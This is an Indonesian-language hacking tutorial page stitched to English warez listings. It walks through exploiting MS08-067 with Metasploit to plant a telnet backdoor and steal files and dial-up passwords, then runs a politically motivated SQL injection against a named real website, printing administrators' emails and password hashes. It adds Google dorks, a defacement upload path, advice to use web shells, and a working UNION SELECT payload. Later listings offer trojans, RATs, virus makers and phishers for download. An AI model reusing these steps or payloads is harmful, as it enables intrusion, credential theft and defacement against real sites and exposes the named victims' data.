Disini kita akan membahas bagaimana melakukan hacking menggunakan Metasploit Framework yang ditambah dengan pemanfaatan program luar untuk mengambil informasi-informasi yang kita inginkan.

Sebagai contoh penulis akan melakukan hacking dengan memanfaatkan celah keamanan pada Server Service Could Allow Remote Code Execution – MS08-067 di Windows XP SP3. Sebenarnya penulis pernah mengisi seminar dan demo dengan materi memanfaatkan celah keamanan tersebut untuk melakukan hacking Windows XP SP2/SP3 pada bulan awal Desember 2008, celah ini sudah diketahui penulis pada ahkir oktober 2008 dari suatu situs keamanan, di sini saya share sekaligus sampai penggunaan meterpreter hingga memanfaatkan program luar untuk exploitasi password dial up.

Ok kita mulai saja

Pertama-tama untuk mengetahui siapa saja yang terkoneksi di jaringan. maka anda dapat masuk ke command prompt lalu ketikkan perintah net view lalu enter

Setelah muncul komputer-komputer di jaringan maka anda tinggal pilih mana yang akan dijadikan target, contohnya PCXPSP3, ping saja ip PCXSP3.

Setelah anda mengetahui komputer server anda bisa saja jika ingin melakukan scan untuk mengetahui OS apa, portnya berapa aja yang terbuka dengan NMAP atau memanfaatkan NMAP dari Metasploit Framework.

Kita langsung saja ke tahap exploitasi. Disini saya menggunakan console.

Di bawah adalah untuk masuk ke komputer target dengan payload shell/bind_tcp :

Untuk cara menggunakan payload meterpreter sekaligus coba-coba upload telnet backdoor

Setelah di upload maka kita dapat periksa di c:\ di komputer korban lalu jalankan telnet backdoor sebanyak 3x agar berjalan dengan baik.

Setelah itu kita dapat menggunakan Putty untuk masuk ke telnet

Tampilan setelah masuk lewat telnet backdoor

Sekarang kita coba misalkan ingin mendownload file dari komputer korban, misal file fotorahasia.jpg

Di bawah ini adalah contoh perintah untuk mendownload file fotorahasia.jpg dengan menggunakan meterpreter.

Kita coba sekarang mencoba mengexploitasi untuk mendapatkan password dial up yang disimpan oleh komputer korban, kita upload program untuk mengambil password dial up yang disimpan oleh Windows yaitu dial.exe

Setelah di upload kita gunakan perintah : dial /stext (nama file).

Setelah menjadi file, di contoh menggunakan nama file pass.txt, tinggal kita buka isi file pass.txt dengan perintah : type pass.txt

Binggo, kita mendapatkan password dial up.

Havij Vers 1.10 , sebuah tool yang powerfull untuk mendapatkan akses admin dengan teknik sql injection. untuk informasi dan download tool ini bisa anda temukan di thread dibawah ini (Hey r3dm0v3.. u coded an awesome tool)

CODE: SELECT ALL

http://forum.xcode.or.id/viewtopic.php?f=100&t=39403

Ok saya asumsikan anda sudah download dan install di mesin anda. sekarang mari kita coba salah satu website milik Israel.. (hmmm.... kenapa salah satu website di negara anda dijadikan kelinci disini sangat berkaitan erat dengan agresi militer anda pada kapal relawan dunia untuk Palestina.. saya non muslim tapi arogansi Israel adalah buntut dari tutorial ini).

web target : http://www.xenia.co.il/index.php?page_id=93
seperti biasanya berikan tanda ' pada web tsb:

CODE: SELECT ALL

http://www.xenia.co.il/index.php?page_id='93

hasilnya dapat anda lihat pada gambar dibawah. BUG SQL Injection



Sekarang jalankan tool Havij lalu masukkan link tersebut lalu klik Analize dan tunggu beberapa saat (yang ini ga sampe 1 menit)....


hasilnya:

Havij 1.10 ready!
Analyzing http://www.xenia.co.il/index.php?page_id='93
Host IP: 212.150.130.231
Web Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.12
Powered-by: PHP/5.2.12
Keyword Found: mysql_num_rows():
I guess injection type is Integer?!
DB Server: MySQL
Selected Column Count is 2
Valid String Column is 1
Target Vulnerable :D
Current DB: xeniaco_xenia

w007s...... I Got the database... sekarang klik Tables lalu klik Get Tables


w007s..... I gOt the Tables from xeniaco_xenia database..
users_match
users_fav
params_parents
params_pages
params_icons
params
page_managers
page_banned
page_allowed
nuke_users
newsletter1
main_access
lpn_users_areas_maps
lpn_users_areas
ip_blocker
gallery_auth_users
form_datas
enter_rules
cat_tbl
bep_users_target
bep_users_cats
bep_pics
bep_other
bep_news
bep_links
bep_html_data
bep_files
bep_data
bep_banners
bep_addons
banners
admins
admin_titles
WhoIsOnLineTbl
WhoIsOnLineMessagesTbl
Table1


Nah .. pada tahap ini, anda perlu cari tahu... dimana letak table yang berisi informasi admin login. setelah ditelusuri ternyata terdapat pada tabel nuke_users. sekarang coba kita lihat isi kolom daripada tabel nuke_users.

Beri tanda centang pada nuke_users lalu klik Get Columns dan tunggu beberapa saat (hmmm... 10 detik aja).


w007ss.... cool.. got to check it out... saya dapatkan kolom sbb

regdate
status
regkey
user_msg_to_mail
mail_check_interval
mail_pass
mail_login
mail_port
mail_server
user_level
user_rank
user_attachsig
user_posts
user_char
newsletter
counter
commentmax
theme
ublock
ublockon
bio
noscore
thold
uorder
umode
storynum
apass
pass
user_cell
user_homephone
user_theme
user_viewemail
user_sig
user_homepage
user_from
user_sign
user_dob
user_regdate
user_avatar
l_name
femail
email
uname
name uid
newsletter1


nah.. ini adalah kolom dari tabel nuke_users yang berisi informasi registrasi, nama, password, email, nomor hp dari Admin website http://www.xenia.co.il.. sekarang saya akan mencoba mendapatkan akses selanjutnya ke website ini.. hmmmm.... saya ceklis aja kolom :

name
email
pass
(kolom lain ga penting.. cuma pengen dapat username dan passwordnya aja).

lalu klik Get Data dan


Hasilnya sebagai berikut :
Count(*) of xeniaco_xenia.nuke_users is 3
Data Found: name=àåãé
Data Found: email=udi@tmuna.co.il
Data Found: pass=b440097c79ba6183170f5f118b47a31d
Data Found: name=guy
Data Found: email=guy@xenia.co.il
Data Found: pass=f4384abb3921b5cf321a5a24960c4aef
Data Found: name=inbar
Data Found: email=inbar@xenia.co.il
Data Found: pass=b3f61131b6eceeb2b14835fa648a48ff

w007s.... ternyata website ini memiliki 3 administrator...
hmmmm... passwordnya di HASH alias di-enkripsi..... no problem... havij juga punya md5 hash crack..

Klik MD5 masukkan data salah satu data HASH lalu klik start (tunggu beberapa saat.... 30 detik deh). lalu hasilnya


w0000000000000000000000000000007ZZZZZZZZZZZZZZZZ... password berhasil di-crack.. sekarang tinggal cari halaman login.

Klik Find Admin lalu isi Path to search dengan http://www.xenia.co.il/ lalu klik start.... .... ............. Searching


Got that....
Page Found: http://www.xenia.co.il/login.php

Sekarang anda hanya tinggal ke halaman login, masukkan nama user password dan....
U gained an Access

UH,,,, bahasanya sama sekali ga bisa dimengerti...

Metasploit Framework adalah sebuah proyek open source untuk mengembangkan, menguji dan menggunakan kode eksploit. Dibuat dengan bahasa Perl sebagai fondasi dasar dan dan terdiri dari komponen pelengkap yang telah dicompile dengan bahasa C, assembler dan Python. Metasploit Framework dapat berjalan pada sistem operasi UNIX, Linux dan Windows. Keterangan yang lebih detail dapat anda cari di http://www.metasploit.com.

Hack The Game

A Hacker Game Simulation for U!

Size : 1.02MB

Download

Ok, di posting saya kali ini, saya akan mengulas bagaimana cara untuk hacking website dan mendefacex untuk para pemula (y spt saya ini), jadi kita cukup menggunakan dork aja,,

pertama2 buka milw0rm,


Contoh target adalaha ourspace 2.0
pertama cuba buka milw0rm trus klik search, lalu ketik RFI, FILE atau SQL. Disini kita ambil bug
http://www.milw0rm.com/exploits/4343.

1. Buka google, trus ketik allinurl:"/cgi-bin/ourspace/ pada search enginenya.

2. Setelah itu cari situs yang mau di cuba
misalnya neh :

Code:
http://www.2coolcode.com/cgi-bin/ourspace//login.cgi


3. Hapus /cgi-bin/ourspace//login.cgi ganti dengan

Code:
/cgi-bin/ourspace/newswire/uploadmedia.cgi


4. Setelah itu muncul upload files

5. Lu bikin html yang bagus terus upload dah...


Hacking RFI (Remote File Inclusion)
---------------------------------
1. Buka google lalu ketik "Php Blue Dragon"
2. Setelah itu cari situs yang mau dicoba
Contohnya : http://www.komix91.ovh.org. Bugnya cari aja di http://www.milw0rm.com
trus ketik PHP BLUE DRAGON. Hasil dari serach pada milw0rm.

Code:
- http://milw0rm.com/exploits/1779
- http://milw0rm.com/exploits/1913
- http://milw0rm.com/exploits/4276


selanjutnya kalian coba aja sendiri ya. Jangan lupa gunakan shell (r57, c99, dll)

3. Selamat mencoba !

SQL Injection
--------------
Seperti biasa kita membuka site milw0rm untuk melihat bug SQL
contoh BUG SQL http://www.milw0rm.com/exploits/5177

1. Buka google trus ketik allinurl:"com_simpleshop" atau allinurl: "com_simpleshop"section disamping kiri ini berupa dork untuk mencari bug sql pada web.

2. kalau kita telah mendapatnya sekarang kita injeck. Contoh :

Code:
http://www.target.com/index.php?option=com_simpleshop&Itemid=S@BUN&cmd=section&section=-000/**/union+select/**/000,111,222,concat(username,0x3a,password),0,concat(username,0x3a,password)/**/from/**/jos_users/*



3. Kalau ada hasilnya, silakan deskripsi password adminnya menggunakan tools MD5 crack, bisa menggunakan ini http://thesoftwareengineer.org/services/md5.php

4. Selamat Mencoba

NB: Segala tindakan yang anda lakukan bukanlah tanggung jawab kami, this is just for education..

Ghosty's Hacker Software | 30 MB

Contain many important software such as:

1. PMaker
2. Black OS
3. Regmon
4. Code Fusion
5. Hash
6. Crack
7. RSATool
8. Unpatcher
9. SoftIce
10. Etc.

b1u3eyes.Ghosty_27s.Hacker.Software_downarchive.rar
Download from Rapidshare

Fast Premium Download at 3600 kb/s

Ghosty's Hacker Software Direct Fast Download

Hacker's Tool Set (45 Hacking Tools) | 14.23 MB

45 Tools Of Hacking,Few Antivirus May Detecte as Virus Please Ignore It.

Features:
??? IMC Grahams Trojan
??? IMC Ice Dragon
??? Myspace Password Cracker
??? IMC Myspace Phisher
??? Ultra Surf
??? Rapid Share *** Gen
??? MSN Nudge Madness
??? Ice Reloaded MSN Freezer
??? IMC Handbook
??? BrutusAE2
??? Lord PS
??? Hoax Toolbox
??? IMC Word List
??? Blues Port Scanner
??? Bandook RAT v1.35
??? Project Satan 2.0
??? EES binder v1.0
??? File Injector v3
??? Remote Desktop Spy v4.0
??? Passive Terror v1.3 Final Edition
??? Dyn-DL (Dynamic downloader)
??? Silent Assassin v2.0
??? Net Scan Tools v4.2
??? Rocket v1.0
??? NStealth HTTP Security Scanner v5.8
??? Attack Toolkit v4.1 & source code included
??? Legion NetBios Scanner v2.1
??? Battle Pong
??? TeraBIT Virus Maker v2.8
??? p0kes WormGen 2.0
??? JPS Virus Maker
??? IRC Ban Protection
??? IRC Mega Flooder
??? FTP Brute Hacker
??? RAR Password Cracker
??? Vbulletin 3.6.5 Sql Injection Exploit
??? IPB 2-2.1.5 Sql Injection Exploit
??? IPB 2-2.1.7 Exploit
??? Cain & Abel v4.9.3
??? NetStumbler 0.4.0
??? Cryptor 1.2
??? VNC *****
??? Hamachi 0.9.9.9
??? pbnj-1.0
??? Mutilate File Wiper 2.92
??? etc.

Download
Download from Uploading (only for USA, EU, RU, PL, TR, BR, MX, AR)
or
Download from RapidShare (for other countries)

Buy Uploading Premium account from my download links to download from Uploading fastest and easiest. Thanks you

Please help me by downloading from Uploading if you come from USA, EU, RU, PL, TR, BR, MX, AR or download from RapidShare as free user. Thank you

Fast Premium Download at 3600 kb/s

Hacker's Tool Set (45 Hacking Tools) Direct Fast Download

Mike Shema, Chris Davis, "Anti-Hacker Tool Kit, 3 Ed"
McGraw-Hill Osborne Media; 3 ed | 2006 | ISBN: 0072262877 | 800 pages | CHM | 34.43 MB

Mount a comprehensive, proactive defense against the most sinister cyber-criminals using the tricks and techniques contained in this unique resource. Fully updated to include the latest weapons in the security experts; arsenal, Anti-Hacker Tool Kit, Third Edition provides all the information you'll need to lock down your network from the ground up. Logically organized by category, each tool's function, installation, and configuration is fully described, alongside screenshots and code examples. Brand-new examples and in-depth case studies detail how to implement each vital tool in real-world situations..

Explains how to configure and use these and other key tools:.
MULTIFUNCTIONAL UTILITIES: Netcat, Cryptcat, Sbd.
PORT SCANNERS: Nmap, THC-Amap,IPEye.
EMULATORS: VMware, Virtual PC, Gnoppix, Cygwin.
ENUMERATORS: Samba, Winfingerprint, PsTools, HFNetChk.
WEB HACKING APPLICATIONS: Nikto, LibWhisker, Paros, Burp.
PASSWORD CRACKERS AND BRUTE-FORCE TOOLS: John the Ripper, LophtCrack, THC-Hydra, PwDump.
WAR DIALERS: ToneLoc, THC-Scan.
HOST HARDENING APPLICATIONS: Clamav, Titan, Msec.
BACKDOORS AND REMOTE ACCESS: VNC, Netbus, Back Orifice, SubSeven, Loki, Knark.
AUDITING TOOLS: Flawfinder, RATS, Nessus, STAT, Tripwire.
PORT REDIRECTERS: Datapipe, FPipe, WinRelay.
SNIFFERS: BUTTSniffer, WinDump, Ethereal, Dsniff, Snort.
WIRELESS TOOLS: NetSlumber, TCPsic, ICMpsic, Iptest.
FORENSIC UTILITIES: dd, EnCase, Sleuth Kit, Vnode, WinHex

Download Links: NO MIRROR PLEASE

Download Link: Uploading.com (Only these country please: US, DE, UK, CA, FR, AT, ES, IT)
Click to Download from Uploading.com

Download Link: Depositfiles (Only these country please: US, DE, ES, UK, FR, RU, IT, CA, PT, NL, BE)
Click to Download from DepositFiles

Download Link for other Countries:
Click to Download it from HotFile

Fast Premium Download at 3600 kb/s

Anti-Hacker Tool Kit - 3 Edition Direct Fast Download

» Author mean, Games, 2-09-2009, 07:45

Street Hacker
Window | Simulation | VirtuWeb | 87.1 MB

A crude executive and entrepreneur, Demetrius Mordecai, discovers you on the Streets of New York. He sees you as person with a strong analytical mind, a keen intuition, and a desire for power. Seeing as how your pocketbook was also empty, he recruits you as a hacker to carry out his dirty work. Vince, his chief of operations helps get you settled in and used to the game.

Being as successful as he is, Demetrius has also made many enemies on the corporate level and a few of the first missions he assigns you is disrupting these companies by taking out their servers. Upon completion, Demetrius will make the unexpected decision to replace you with a better recruit by unanimously giving the FBI a lead on the individual committing these recent digital crimes. Quickly responding, the FBI surrounds your apartment building to find enough evidence to put you away for four years. Two years later after you are out of prison on parole, Vince, your mentor from the beginning, helps get you back on your feet with some cash and the only spare notebook he can find. He and many of the others still working for Demetrius, too afraid to betray him, are hoping you can unravel his secrets and have him put away for life…

Homepage : http://news.streethacker.com/

Download
Hotfile

Visit my blog

Fast Premium Download at 3600 kb/s

Street Hacker Direct Fast Download

Street Hacker search full download. Street Hacker free from rapidshare, megaupload, mediafire, hotfile, torrent, direct download. Street Hacker with keygen, crack, serial. Street Hacker subtitle, DVDRip, BDRip

» Author Manoj_299, E-Books , 1-10-2009, 14:02

Secrets Of A Super Hacker | 5.25 MB
Loompanics Unlimited | January 1994 | English | ISBN-10: 1559501065 | PDF | 205 Pages

The Knightmare is the sort of Super Hacker who keeps security guards from sleeping at night. He's not motivated by money or malice. He's in it for the hack. If your computer has any link whatever to the outside world, there is not question. The Knightmare can break in; the only question is whether he wants to. Secrets of a Super Hacker is an extraordinary manual on the methods of hacking.

Here are some of the techniques covered in this data-devouring dossier: - Brute Force Attacks: Hurling passwords at a system until it cracks. - Social Engineering and Reverse Social Engineering: Seducing legitimate users into revealing their passwords. - Spoofing: Designing dummy screens; Delivering fake e-mail. - Superuser Abuser: How to get system managers to do your dirty work for you. - Screening Stealing: How to secretly record every image that appears on a computer screen - Data Delivery: How to hide the information you've collected; How to e-mail it to your computer. - Stair Stepping: How to use a low-level account to gain ever-higher levels of access. - And Much More! Including a brief history of hacking lists of likely passwords, a summary of computer crime laws and a glossary. The Super Hacker reveals all his secrets: Trojan Horses, Viruses, Worms, Trap Doors and Dummy Accounts. The how-to text is highlighted with bare-knuckle tales of The Knightmare's hacks, including on-site hacking remote-access hacking and bulletin board busting. No system can withstand the ingenious, unrelenting assaults of The Knightmare. And no person concerned with computer security should miss this amazing manual of mayhem.

Download Links: NO MIRROR PLEASE

Download Link: Depositfiles (Only these country please: US, DE, ES, UK, FR, RU, IT, CA, PT, NL, BE)
Click to Download from DepositFiles

Download Link for other Countries:
Click to Download it from HotFile

Fast Premium Download at 3600 kb/s

Secrets Of A Super Hacker Direct Fast Download

Secrets Of A Super Hacker search full download. Secrets Of A Super Hacker free from rapidshare, megaupload, mediafire, hotfile, torrent, direct download. Secrets Of A Super Hacker with keygen, crack, serial. Secrets Of A Super Hacker subtitle, DVDRip, BDRip

» Author keosoft90, Movies, 30-01-2010, 07:41

The Best Hacker Movies Ultimate Box | 14 GB
Multi-Links : Hotfile/Uploading

List :
Tron (1982)
WarGames (1983)
Sneakers (1992)
The Net (1995)
Hackers (1995)
23 German (1998)
Takedown (2000)
Antitrust (2001)
The Score (2001)
Swordfish (2001)
The Italian Job (2003)
Foolproof (2003)
The Net 2.0 (2006)
Die Hard 4: Live Free or Die Hard (2007)
Wargames 2 : The Dead Code (2008)

download link :
Uploading.com / Max 500MB Free Download For USA, Japan, EU, UAE, Australia, Russia, Saudi Arabia, Brazil and Singapore.
http://uploading.com/files/3f135379/hachko.txt/
Hotfile.com/ Max 400MB Free Download For USA, EU, Japan, Singapore, Australia, Russia, UAE, Saudi Arabia.
http://hotfile.com/dl/26374796/e6dae4a/hachko.txt.html
Use Jdownloader to Download As Premium All site ^^.
Change Your IP After Downloading Complete and Next Download will no need to wait
Follow me on Twitter if you have problem with file download links